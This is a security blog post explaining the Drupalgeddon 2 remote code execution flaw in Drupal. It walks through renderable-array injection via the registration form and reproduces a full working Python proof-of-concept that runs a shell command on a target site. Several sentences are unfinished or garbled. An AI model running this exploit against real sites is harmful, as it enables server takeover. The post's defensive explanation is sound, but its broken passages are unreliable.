Drupalgeddon 2 RCE

  • Post author:
  • Reading time:6 mins read

drupalgeddon-drupal

More than a million active websites use Drupal, making it the second most used content management system worldwide after WordPress. On March 28, 2018, Drupal released security patches for versions 6 to 8 suggesting to update immediately and marking the underlying drupalgeddon vulnerability as critical with remote code execution. As expected, attackers exponentially increased scanning and attacks on websites using Drupal, but there have been no reports of attackers exploiting the drupalgeddon vulnerability in the wild. Then a few days ago a Russian security researcher  published a POC exploit code on GitHub and Internet went berserk. You can use a patch management software to stop this vulnerability.

Exploitation amassed and attackers started using it to install cryptocurrency miners and malware backdoors. It is believed that

Statistics of Drupalgeddon

As per statistics, 90% of Drupalgeddon 2 attacks are nothing but scans to find vulnerable systems, 3% are backdoor infection attempts and 2% are attempting to run crypto miners.

Drupal in its advisory warned


Technical Jargon in drupalgeddon

Drupal introduced its Form API in Drupal 6 which allowed alteration of the form data during the form rendering process. This revolutionized the way markup processing worked. In Drupal 7 the Form API was generalized to what is now known as “Renderable Arrays”. This extended API represents the structure of most of the UI elements in Drupal, such as pages, blocks, nodes and more. In the rendering process, renderable arrays use metadata. These renderable arrays are a key-value structure in which the property keys start with a hash sign (#). An example:

[
‘#type’ => ‘markup’,
‘#markup’ => ‘<em> text</em>’,
‘#prefix’ => ‘<div>’,
‘#suffix’ => ‘</div>’
]

Drupal released a patch adding just a single class RequestSanitizer with a stripDangerousValues method that unsets all the items in an input array for keys that start with a hash sign. This method sanitizes input data in $_GET, $_POST & $_COOKIES during the very early stages of Drupal’s bootstrap (immediately after loading the site configurations). We can assume that the reason for releasing the patch is to make an existing vulnerability harder to find.

Drupalgeddon vulnerability in registration form:

Security researchers found the drupalgeddon vulnerability in the forms, specifically in the user registration form. Users can access this form anonymously, and it does not require verification. It contains multiple input fields and is vulnerable to exploitation.

                                                                     Image Source : Checkpoint, Dofinity

It was highly that injecting a renderable array would exploit the vulnerability, the question was where?

As it turns out, the “Email Address” field doesn’t sanitize the type of input it receives which allowed us to inject the renderable array to the form array structure.

                                                                      Image Source : Checkpoint, Dofinity

Now, all we needed was for Drupal to render our array. Since Drupal treats our injected array as a value and not as an element. However, we needed to trick Drupal into rendering it. Drupal renders an array on page load event or via Drupal AJAX API.

The “Picture” field of the user registration form uses Drupal’s AJAX API to upload a picture. Finally, replace it with a thumbnail of the uploaded image.

Proof-of-concept (POC) of drupalgeddon

#!/usr/bin/env python3
import sys
import requests

print ('################################################################')
print ('# Proof-Of-Concept for CVE-2018-7600')
print ('# by Vitalii Rudnykh')
print ('# Thanks by AlbinoDrought, RicterZ, FindYanot, CostelSalanders')
print ('# https://github.com/a2u/CVE-2018-7600')
print ('################################################################')
print ('Provided only for educational or information purposes\n')

target = input('Enter target url (example: https://domain.ltd/): ')

# Add proxy support (eg. BURP to analyze HTTP(s) traffic)
# set verify = False if your proxy certificate is self signed
# remember to set proxies both for http and https
# 
# example:
# proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}
# verify = False
proxies = {}
verify = True

url = target + 'user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax' 
payload = {'form_id': 'user_register_form', '_drupal_ajax': '1', 'mail[#post_render][]': 'exec', 'mail[#type]': 'markup', 'mail[#markup]': 'echo ";-)" | tee hello.txt'}

r = requests.post(url, proxies=proxies, data=payload, verify=verify)
check = requests.get(target + 'hello.txt', verify=verify)
if check.status_code != 200:
  sys.exit("Not exploitable")
print ('\nCheck: '+target+'hello.txt')

Source : goncalor (github)

Impact

Moreover, by exploiting this vulnerability. Finally, an attacker would have been able to carry out a full site of any  customer.

Fix

However, We highly recommend fixing the issue by upgrading your CMS to Drupal 7.58 or Drupal 8.5.1. As soon as possible to avoid attacks.

Share this article